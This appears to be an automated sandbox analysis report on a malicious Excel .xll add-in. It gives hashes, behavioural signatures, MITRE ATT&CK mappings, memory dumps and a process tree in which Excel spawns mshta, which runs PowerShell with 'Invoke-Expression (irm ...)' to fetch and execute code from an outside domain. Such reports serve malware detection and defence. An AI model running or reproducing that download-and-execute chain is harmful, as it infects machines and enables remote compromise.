ea8e43254df68bfc52455fba86dd15410f12632a9bbe84c4ae1307e570685d19

General

Target

ea8e43254df68bfc52455fba86dd15410f12632a9bbe84c4ae1307e570685d19.xll
Size

12KB
MD5

975ea309d4d79174c532e271375960c8
SHA1

2f83e8d22c81c983fbeea4f8be33ee1583a22726
SHA256

ea8e43254df68bfc52455fba86dd15410f12632a9bbe84c4ae1307e570685d19
SHA512

9317fae4fb46fff2a4fc0f57e0094095fe968c5eb1eaa4a7d70f2e26b82ccfa076446098744d5f97b1f85b4fd82cda2fbea1e2c2ed414776d6201abd2d682385
SSDEEP

192:BL29RBzDzeobchBj8JONUONZ6ruArEPEjr7Ah/:R29jnbcvYJOhj+uAvr7C/

Score

10^/10

execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3144	4368	mshta.exe	81

Blocklisted process makes network request 1 IoCs

flow	pid	Process
32	2764	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Control Panel\International\Geo\Nation	mshta.exe

Loads dropped DLL 2 IoCs

pid	Process
4368	EXCEL.EXE
4368	EXCEL.EXE

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2764	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4368	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2764	powershell.exe
2764	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2764	powershell.exe

Suspicious use of SetWindowsHookEx 10 IoCs

pid	Process
4368	EXCEL.EXE
4368	EXCEL.EXE
4368	EXCEL.EXE
4368	EXCEL.EXE
4368	EXCEL.EXE
4368	EXCEL.EXE
4368	EXCEL.EXE
4368	EXCEL.EXE
4368	EXCEL.EXE
4368	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4368 wrote to memory of 3144	4368	EXCEL.EXE	86
PID 4368 wrote to memory of 3144	4368	EXCEL.EXE	86
PID 4368 wrote to memory of 3144	4368	EXCEL.EXE	86
PID 3144 wrote to memory of 2764	3144	mshta.exe	88
PID 3144 wrote to memory of 2764	3144	mshta.exe	88
PID 3144 wrote to memory of 2764	3144	mshta.exe	88

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\ea8e43254df68bfc52455fba86dd15410f12632a9bbe84c4ae1307e570685d19.xll"
1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4368
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta
  2⤵
  - Process spawned unexpected child process
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:3144
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2764

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

4

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\AKI8W8FH\d[1].htm

Filesize
2KB

MD5
f754844cfb65838d1dd6b19dde5d835c

SHA1
b3eb677783adc88c8d048898449e04d49f416db6

SHA256
3644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6

SHA512
f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_110ukh0y.gri.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\ea8e43254df68bfc52455fba86dd15410f12632a9bbe84c4ae1307e570685d19.xll

Filesize
12KB

MD5
975ea309d4d79174c532e271375960c8

SHA1
2f83e8d22c81c983fbeea4f8be33ee1583a22726

SHA256
ea8e43254df68bfc52455fba86dd15410f12632a9bbe84c4ae1307e570685d19

SHA512
9317fae4fb46fff2a4fc0f57e0094095fe968c5eb1eaa4a7d70f2e26b82ccfa076446098744d5f97b1f85b4fd82cda2fbea1e2c2ed414776d6201abd2d682385

Download Submit
memory/2764-54-0x00000000056F0000-0x0000000005A44000-memory.dmp

Filesize
3.3MB

Download
memory/2764-42-0x0000000004C10000-0x0000000004C32000-memory.dmp

Filesize
136KB

Download
memory/2764-58-0x0000000006200000-0x000000000621A000-memory.dmp

Filesize
104KB

Download
memory/2764-57-0x0000000007510000-0x0000000007B8A000-memory.dmp

Filesize
6.5MB

Download
memory/2764-56-0x0000000005D00000-0x0000000005D4C000-memory.dmp

Filesize
304KB

Download
memory/2764-55-0x0000000005CD0000-0x0000000005CEE000-memory.dmp

Filesize
120KB

Download
memory/2764-44-0x0000000005680000-0x00000000056E6000-memory.dmp

Filesize
408KB

Download
memory/2764-43-0x0000000005560000-0x00000000055C6000-memory.dmp

Filesize
408KB

Download
memory/2764-41-0x0000000004EC0000-0x00000000054E8000-memory.dmp

Filesize
6.2MB

Download
memory/2764-40-0x0000000004710000-0x0000000004746000-memory.dmp

Filesize
216KB

Download
memory/4368-12-0x00007FF86BFF0000-0x00007FF86C1E5000-memory.dmp

Filesize
2.0MB

Download
memory/4368-14-0x00007FF86BFF0000-0x00007FF86C1E5000-memory.dmp

Filesize
2.0MB

Download
memory/4368-16-0x00007FF8298A0000-0x00007FF8298B0000-memory.dmp

Filesize
64KB

Download
memory/4368-3-0x00007FF82C070000-0x00007FF82C080000-memory.dmp

Filesize
64KB

Download
memory/4368-4-0x00007FF82C070000-0x00007FF82C080000-memory.dmp

Filesize
64KB

Download
memory/4368-1-0x00007FF82C070000-0x00007FF82C080000-memory.dmp

Filesize
64KB

Download
memory/4368-0-0x00007FF82C070000-0x00007FF82C080000-memory.dmp

Filesize
64KB

Download
memory/4368-2-0x00007FF82C070000-0x00007FF82C080000-memory.dmp

Filesize
64KB

Download
memory/4368-13-0x00007FF86BFF0000-0x00007FF86C1E5000-memory.dmp

Filesize
2.0MB

Download
memory/4368-11-0x00007FF86BFF0000-0x00007FF86C1E5000-memory.dmp

Filesize
2.0MB

Download
memory/4368-9-0x00007FF8298A0000-0x00007FF8298B0000-memory.dmp

Filesize
64KB

Download
memory/4368-8-0x00007FF86BFF0000-0x00007FF86C1E5000-memory.dmp

Filesize
2.0MB

Download
memory/4368-10-0x00007FF86BFF0000-0x00007FF86C1E5000-memory.dmp

Filesize
2.0MB

Download
memory/4368-7-0x00007FF86BFF0000-0x00007FF86C1E5000-memory.dmp

Filesize
2.0MB

Download
memory/4368-6-0x00007FF86BFF0000-0x00007FF86C1E5000-memory.dmp

Filesize
2.0MB

Download
memory/4368-5-0x00007FF86C08D000-0x00007FF86C08E000-memory.dmp

Filesize
4KB

Download
memory/4368-65-0x00007FF86BFF0000-0x00007FF86C1E5000-memory.dmp

Filesize
2.0MB

Download
memory/4368-84-0x00007FF82C070000-0x00007FF82C080000-memory.dmp

Filesize
64KB

Download
memory/4368-83-0x00007FF82C070000-0x00007FF82C080000-memory.dmp

Filesize
64KB

Download
memory/4368-82-0x00007FF82C070000-0x00007FF82C080000-memory.dmp

Filesize
64KB

Download
memory/4368-81-0x00007FF82C070000-0x00007FF82C080000-memory.dmp

Filesize
64KB

Download
memory/4368-85-0x00007FF86BFF0000-0x00007FF86C1E5000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads